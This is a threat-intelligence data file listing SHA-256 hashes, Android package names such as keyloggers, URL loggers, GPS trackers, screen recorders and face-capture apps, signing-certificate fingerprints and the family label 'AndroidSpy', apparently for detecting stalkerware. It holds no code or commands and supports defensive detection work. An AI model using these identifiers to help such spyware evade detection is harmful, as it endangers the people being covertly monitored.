+b3c146c49e3c5ea8e6e6699992c4566bf0867dda199a5667610db803beb85ed9,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +0e5488520e48355fa863180d160d08418cb6513778f8e72d2b7857e145348351,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +2d69a446d4827b36ae5f34514428c9d73fc02107513e830df90c0bbdc1d0a0be,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +10768d3d87dc6a19ee5d8b1cdb442e11ad422038fe9f8cd58dcc44818a961192,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +c537e696a559c645ad3d195603f8bcd4d98862537a60f5884134ff4113c20139,com.as.klogger,AA0458B6C035E767E61DB7456CBCA89CC4D42090,29,AndroidSpy +5560c003a01a4b1e02047171ef3c2dca68f4ce05fc6a31d29502e39df1c08043,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +df50e21d0ce2d6f5cc861b3228991e13b8e2230ec8a3fd9a57921f29b4261069,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +4f3878516a0df2404499e613b6c5cc05b5a7b1a2a802260d47e6b1fbb5784893,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +85981ad1184bce0a92c675da03042a77ea942c0e5d08eca23908e9464979c8fb,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +6320f7ff139cdd2636e2a34810c83a95b2fe86173c0650c92e93fd0a5a5956f7,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +34ca540ffec82f1a235e2b956f54e0db1a585acdbf3dce0bb862e0638513a8e6,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +f3db9abf47363c5a2d9bc9eb573c411b814dfbfca370a84bf7a1c546a8fe0f5b,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +28f58ced78bf6b3c372dc4d296d691e3c2468666824af930b3ab38ee7f52ab18,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +6300a115fe783279e0a0ff334c0128287efb09afcb3bd293488a3a3d4ffd5b18,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +8866993065527bdd6537ae9e8f6aac7d50f55a487125cedf675e784f25aa6e86,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +dddba184d877d8b35a85f17a707ce81af49d9a01bdd30dc33a0830f15e4669ae,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +80e9af59197f256558807e0bcb5ea3ed592a9606883370bf291740e3bfd19306,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +c47a89b804823af14c552664f04d2abc641831615c75707158874a40112400e2,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +4ce852bbf9630cdb3f304a5ec70364a6e257b591751fa23ad49a63c7c2fbc4d1,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +a1dc5e68de9bc3bb7d44e3b377784eb53ec831bcc29be58f4adf5458ec29b264,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +e0d7856b7d7b2a56bab36ff9e1f477bba3d63a30e1c390ee07ad5c17553a3c87,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +da5fe10fc93190cdf41700ff0381ee87133e87ea107403ba2f1e387e9ffb38a4,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +8cc566bcd658f03c8a778465e211066b7d62e795bdbd6d490ca4f0133bc2e358,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +eda4895582042476d58bb96ae5179def40bed1c5daa08846ff3c1045ee04ec9a,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +9c9f66270fd165352394ce6182f9e4215f90477bca128e8c600025545ebf6e67,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +3ca004876a7fa62c24378102bcda638c68bb5a4005f27835005d669996f25f32,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +ab810fd9cccd0639d3e67eec3b1604fe48d200dd3f03b6b8eebf42b227036d75,com.as.xxx,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +22e424e0b5c056e56ad6fd1109668be9233f06cff0a23aed5fdfa7cbda65e971,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +dce19c019d3efc7de8179477a31456e2a1f3ec9af184e8c8cd85c0c4195b9aea,com.as.xxx,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +f629f0cff6edb68ef94665e5a3f1d86c5f0fe1617f14b29ebd0cc4a6184b0cc7,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +7749c9d7dfa4aa791f5a146ad4ac58d3ff66a3633bca96ad442f350118f45d7b,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +26599627b6f25c78efb1e58601487b4feb0bb601169d25eb49cc329fc1cd8d20,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +400cd0177031ff54f37f78be50f171dd40b303e59d4836b53ea4e20d0640e043,com.as.xxx,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +84dae2b659d84f90d02530ed8c18fe2eea3520fcebdf38b9fbe7c239644e5cce,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +ac7f5c78730fe12be6752dc3840ed0355359e545286b2472d41f5f6c29c0b1b8,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +a91aa4910eb7de49dcd247d040dcbc426d3b2bfcf5750cdae061fa67931b79fe,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +2079ce214cae234ce01dc00d3a7b08c8e08886506fd150edf192931c6372b758,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +84963d460700950f519e0331f14655fefd0f7041914a66449787c97f48df36ca,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +60b4911d10ca74f7736624390450070ab0d3a29a496b779ccf8d67c43a074aa6,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +c707f2e9b1e0db3729dfa912554d640654c4be6d5ec964ddc62fe5d7cf50bee7,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +093a6a5b44ca478d4bb620948752357331cf54a7bd6de6f3f9a781c5fcbdaa2e,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +828b26c467763ce3c7722bc635de26cc6829b2e0fb7bfe48e271e0620384343b,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +8d7cdf97a118714ae41acae54e98e424d2437d3f92c0bc56e35e33d510b78966,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +22b70c63a7d874748a2b26c688e5f469bdcbba598d256fd53e8a7740c9d86836,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +7e8f2510cc7f842a4594431f3a16fbb3af15576190993484d55e7098b07f69ee,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +c8734e5c75f505d9d314f3a53b440461d3cad43addfa142493b17c86b24925f6,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +8dc5ad6713e2a9cd1cffbc00d2f656f31c22c4c94a565e8fa920fc91bbef7661,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +9b4c6f0e6a283acf4c9c56d063aa8892b02b758096abd7c0473d1e3cf233767d,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +274a7a5ac2a554e664ab121dbfc9cb45bf15a1a1cc152ca739bfea3464cc82ce,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +09889746e01e3e3e59e7f693bb1c8ae525c101cb2e8b198f6705078cdbca3d5d,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +9148a33ed6e1da348108ba39b6bbb21c38a8152fe51fa4a2ce352956142c5f4b,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +1f08a5c6bd8d82543e4e33e4e5a52d3be288d09ab56e2fe5531eb0575edaa4ac,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +fa0477c14b4fdfa8c358e202e107c0b68fa6b42c58c85c8ee507c25b81d41285,com.as.facecapture,56BD8EB8A20904E4766D99F6D38D87466C44B114,37,AndroidSpy +368b990d0d3eb4fe96e98dd6841bf927d42160d5f9f4d29666da836d761a0f82,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +5237e7f8e8c867bfe71c8882590592bdf4dd9a9e25569b58988d074bc55df8b2,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +9529b931208bc5cce2ea20c291f2f8e7c575eaa5b541d389fdaa5f69b4f06785,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +476b3fc96057c6c236fedf64cfc456acd5d435c226eecc02433746bea458fa55,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +f8a703ebc1aca9f44c8876eb28e07b48ee31039676d1ff21ef15881ce3edd341,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +5b6e97ee5825ab74bdd97ea9b8d4422ee87393ad24ee2cff2e5f34dc7e458bd0,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +9c9ab956e1bd535dfd126b08aaf625bc6385a0cb64086b643f4edc11a28e98e3,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +53b19ac8f2422e7dc96c66bbad435a0ad7f661ce173d813896d47d5616ca2c11,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +2261ed8337a781af5c06d5443958c0fde81cac8599537f9f8c1958ce251c31a3,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +8ed0be8ba70335b34dd5c1ad5d88df618dba7974f98511ecaba7b3042e6e518c,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +f8c41bc25b5881b407e800f0c737e87656f92d53f50b7505a9013a45c15893ab,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +6e32ea81855b5fafd6c715064d112a5be303bbf125e8174738178cc33950477b,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +b1cba9a36a4d5a9945689f089aa37e9d1495f408c5426bce235a370c6005475e,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +8704cbafdf1bb0dda892f66e69ed22b5183dfbe309c361c6915758404004d35e,apk.kgl,56BD8EB8A20904E4766D99F6D38D87466C44B114,27,AndroidSpy +b253d01965e277f92f33504e05f41cde373fe0ee4030fa5dd4950e6dbca750e8,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +1fded8fa103e1e6be7e771d223c68f87b6ee89f38bb5269b4b642d1a06d3ec0b,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +e63cb8b46a62d079b1bb986950006f1d91cb3f7bfc8dac432393208c00fa2a6b,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +c6f17d27832bcf4a8c8a47a7a2a6ccf9c03f529b62b346878859957ed9a331b0,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +20806c9c454dab6e6b90872ee536cfec96d2d19b31b43f4ccd8ea2ea80c82bc4,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +1a612a93e9af50d44012814b71a92869b090a7a225132f2bb33cb780c6104d16,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +dbe6cdd6523789c3988435f3a3becd2a463321200fe79053c7b9670cc35093bb,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +789ce95dc74ab19b309dc0687a8b9883ed968370ab53d3394346690c151859e5,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +ce951fd243b73b11bec0fc11f674670ce860ef813af7a5ca1460cd3a8a0be3dd,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +9574107d79c130b8084d17687d43b81130e1c72f9f3de2c17da0c63ec98ca4f7,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +9c8ddf2d2207de01bcbc2eb2866164274567da9e1d959e3c495e08e716cab327,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +aabc9bcd301eca228afa4d3d246bc3e2a981392b24fe27fc2ac4237f1519bb82,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +fadbb63bfcc36772da2ed4aceeae7936b34421982d10c19c5e13464a19c8834c,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +17920bffb4cab77d4581a086d6ff1570cee179480e3d8c29048d7579cc261d49,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +2f894c31ba1c834d4aa43d58728d9b787f354237aab0f736568198028ca1db09,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +575db15804d3b2f5bc3bb57aa040ec425ee97d9dcae75026f58ab6c89da37dba,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +3525f4164d2af5e52c9f343e34101710d1144d9904a57324deaa204feb695b85,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +72b28f37e38c0fe6d3150c275c4edeb143600de4a7d5a2c8f8de53622a047a06,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +0927c8c306910d853ed973a86b461ccef9880645d201b8aa632577957a06a484,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +f6766a972d53e78eaff4939f3a0bbb7d5b5fe07c3779ff4a2cfa3bbd34d96de2,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +a12bdec94ccba20eab7f0193c4964eb31e11ab0b71ca99baf7280d453a203bca,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +5fe64fbc6132864a942f5d20a7980268f3a7829009ccc9dbe4f0e165a684c838,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +59080f2b1ab53e72887ec930ba7bf40ba2b47fbb0b35ef14a620ca1b3380796f,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +92f73fc7049cfa73b7a5886432a05cf506d9ff1f86435cd4f5ec17045a34fbfc,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +6c59502bfc036d3c9c0c7cd63cbc4d62f8228d22df3cc737fc3f235d42e495a6,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +61702c0d31768e152ccc03aad79b764534ccfa2ff5e8cddc19fd6e5518bc6aaa,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +f6ca4c78de852036ad0ec8681e14faf93254655a6ac07b6091bf2c1fec45794f,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +2dfdb40fb8cdb40074f753c3d7821f7bd3a49351ee879861349b2d5f4379d981,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +ba3b45b2f76e67aade080d02b8d64fe2137e3de5ed2b03687eaefd93665a3d1b,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +3e6119e030430b55108b35adf221e2f13115515fff0521583cefcfe93328fb9e,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +0a357beab5b4f8b5afb7a9de48dde2f2a4a278c72d64e96224a62fc391780ec1,apk.screenshotrecorder,56BD8EB8A20904E4766D99F6D38D87466C44B114,30,AndroidSpy +9cc66c222cfe99fc92cb03f5cf91b6c37e027f1cf144779ea5cc3c385a41f358,com.as.xxx,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +754ad5cf8e430ebff8c3a0de85dd21b7407fef331c367ad42e7f32a38402b4e4,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +473ece1324d0560e668a3ffaf751b385043ff962c2a7553060bb2eee6b20cf46,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +bccbca3e6d271a55f4d273ff007130c1e816e21be3b9acc78dad5a5ba711131f,com.as.xxx,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +b35fba576b4077be566f96678127e152bce19fbcac24b13bbf1b6a3c30a479ba,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +2c9b15b6cf9984ab939cded0686ef8a126cacbc94a8ff358e5d3558b9cada017,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +1ed5c05fecb8157c2a3fea81b5e77cedf4ff8be303adc15beb8baae71dad4b8f,com.as.xxx,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +28f53ee1836d0197906ba0ab1834a5b45cc2611c1f0d1944ee225a9cc36873fd,com.as.urllogger,56BD8EB8A20904E4766D99F6D38D87466C44B114,14,AndroidSpy +640559b7735553888d95c6cde030bc7c76c5db01d1cf7eab9b993c4b3e186498,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +8c8e0c2ba01d8d1d8f0f69bb8e5d8c18d5b0c421eb9b235cd1caefdeddeb5c84,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +8c64ce16f2e668bb71d18048dd00316841c32fb78a4f9eb6623ebcecf847253d,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +077c4808fb564c3365a25164a8d317ef291d92f260752a4864fd74926192b79c,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +066a02b14ff5c1e29fafdafa649fd4358b6132de6850629172ef884cb6cda6ac,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +fada242bdadcf7eb96a21e9efb50c6bdcf5b4a3dd0069cb95877f8685ef53d66,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +9679d816e0f42832ecedc2a3c9b197fa44c9d50150af660c702a205c4a27cdf4,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +6a2281c70dd162ca92f448139c2594efae21865a3ced2abde37970e58c648700,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +f826b735ba3bf4986734daf8947249f9108214936aee4512b86c09278a28f2a8,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +db8542cb5d70056f0f8f8c0c1f5d2f5a1a8f159c5364be544181850200873241,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +7f9c1e865757d98a74c86eaab07996a2da22d911f6532e7868b7e533511a17f9,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +5efd520420774463339efb751fda0d0b201fe281d96dbb5dc07b994796637f68,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +5bbfc637e153e5eb177c15d8949ef08eb903abc50d2662be8bab1357d70dc7d2,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +33a0c64c98a0fc2dc9856c78c11b01124b75667b876ca75c62dd90c4951e7e18,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +cce9ade8e59c990a3071bf4c93e15cfe7c5398fdcdd850bc1b915b43c24cb7e6,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +f9f5c26b14a01a9bf33b305a94cb0fd9a0f48ebe5f8ea742b96962451bcbdb08,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,36,AndroidSpy +1446cbce4ac3eb004bf347d524302b2672a5981a9365f2536e6376f5b5b41b26,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +5b6cd48e3a79c4b9ddf366fdfa1217b885876daa2d74aca5c9d35b70c04ad44b,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +5dae867d3ac8fd8fb8278ce81ff03334b8fb5480679d084673ca261b78bd6fe3,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +95e69e1cc740f15d1a293ec39a5c1cb46a195ef074b3d2a634ee681a3331ef1d,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +ba88fa93ce34c2a84c635bc589825a86ab39efb1dd8fa125d2d1472d264f6bdb,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +5658fc9a0847a71aff4265b5ed54134926b800d136c296e58ab421b0228dcddf,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +e015afbb4504d581f3442351aeb44b9df2228ea6a0b0cbe6061363c58b13825c,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +844f38fcd50de413c639bf007a3dc6531a47052a29b35f245f7515b53a4ddd30,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +6f7de2fd40dc98775b89c9b3152d5423bf53cd560c0eb345830097420c51fd3c,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +6a930038b58a345303dd55e1c4cc9e25b2e6da91bcf591b00c0a2c04aa7e5478,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +e7497b32718ce587d3a6e92a021b4d849232f2a96ea6a1af2fca8d76bd331db8,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +ca8fe950fce88ba05f4b6d888f97c2e362e52bc0c37481106d00bfce92063263,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +a3113f84f6eaf1a3a48fa07f8d33cf47fb3507261493de75c412474fc946ab10,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +2620d09502d6509a4e6ad0d909de22401b97b5d540bb427af3a521d758a8518d,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +e805253f87ff9f48e7b0de6ec1bd02e6f27a19df8fcc2a02d9617816d0ed4f33,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +4bc550b4ff4dedb3f3a408da36a4343da2f2ba33baec1e33ab495daf227007a8,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +e146efe2256044dd9df7b9479c7144d1fb9f06ec59e7aa535bb506762deeeac6,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +192124ba11153a69f99ba4392eb56fc44ee907d068d5d6f3dd76066d21ac8eba,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +b5764941bf640711c4be21b92571b437b58bb7e7048cd571be0aba667e9f076e,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +42c85edca79a0013f613342a45ebcb83a48943f4b95e5701405194c56c90f0d2,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +78bcd659fd5e86f043d514cdfdfefddf534f36b4c57da357998a74cfa3b6d922,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +372678745c12a32231ccae60ba119a2a502c99e9b6dd276995b7346a4048845f,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +f873aad766a4706bc1d3c2eb0cfa3b5e1efc9477d96e50a2571b133526109c6d,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +713b526526b8ffce849ca52334dbf212831f257216363bb2b77bd74497b7b85c,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +f687492609ffb3d8311814fe532d00810897d7a8ad6069d7e267976210cd4862,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +64872ce12800db9ad84c383f2e7df4ca75f88baa202a8bc5831a8ef80fe39e02,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +6dbc63cd15602bb616003142f9925984d39ef24feb894e4e47318946fbc8e8be,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +ff53566829a9f9feb723966d94954573d6d3dd5573592694ffcd06727d3eff93,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +881251350b631b924c8c165b191117eb7e3bcb679168419dca93b96fc7d085e5,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +ad17e68289fdaacb75de6f77fefd4838f142bbb61351314526be86bce61b7f25,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +1017df8c9c8bd13b6256d46f7e43cd708a4fbd5f8074199e5ab19ad331eb812f,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +08087db4cd8d719f878f3d9e2f08d6e3f7c5cb84e8805bc522b1d0c5848b7fc4,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +840b9360055ae9fe25b916d424d625aa98bfe2aa4ddb5be0f51848683eff3d22,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +3fc0b1c21e56b4462be4613aa68bf2e480f89f93ef701aafeb87afd1fcbc6e47,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +13f63dae6e0837ffc8996247c8aa837da260059a3694e6adf4b5f98df0246dcd,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +175b3c427a7f9008a978ccae38336e5cc8af427bf84d9706a9957d2587fc249f,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +26b7d2ce57163528bf6eb6dc6c60d3785e1891be10b2ce4532379e6d9e19b24e,apk.stracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +53c3d374a7accc9ff3cbccacb96102aa0a4cb06d60a2658c7572075872d11355,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +a4a2ab6f7a88aa83100c965560b1c445f1cd2c5ba82535242316df150a3038b0,apk.stracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +29eb9ff6230478614b0ce817413383cfc7810195d6f3e8adf33fa1a852dc0958,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +ee0e33551d7d03f33f616224381f00f8d04e32e41245c1f8594199e7af94a197,apk.gpstracker,56BD8EB8A20904E4766D99F6D38D87466C44B114,35,AndroidSpy +2f9476ca78ca10e5c221594599366e68c6c83a56f5755e4c5b4d61548f0ddda2,com.as.facecapture,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,27,AndroidSpy +c49209c1b7c693aceb31eb5dd8e9aef127e722f8c3c02dca1c55a488e7353f85,com.as.facecapture,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,25,AndroidSpy +5db4c5203510ff94d687936eda80167738367ee870d9d9ccd819225b4b7dfd89,com.as.gpstracker,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,22,AndroidSpy +de9fb3c95cb41326f0461302deb541fdb2c9444d435b56f53457175e4927311b,com.as.facecapture,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,29,AndroidSpy +a519370fd9fa8ed64a266e8aaddcd4feadcb85d8384e8c3c3c6db819bcd0bf4b,com.as.screenrecorder,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,23,AndroidSpy 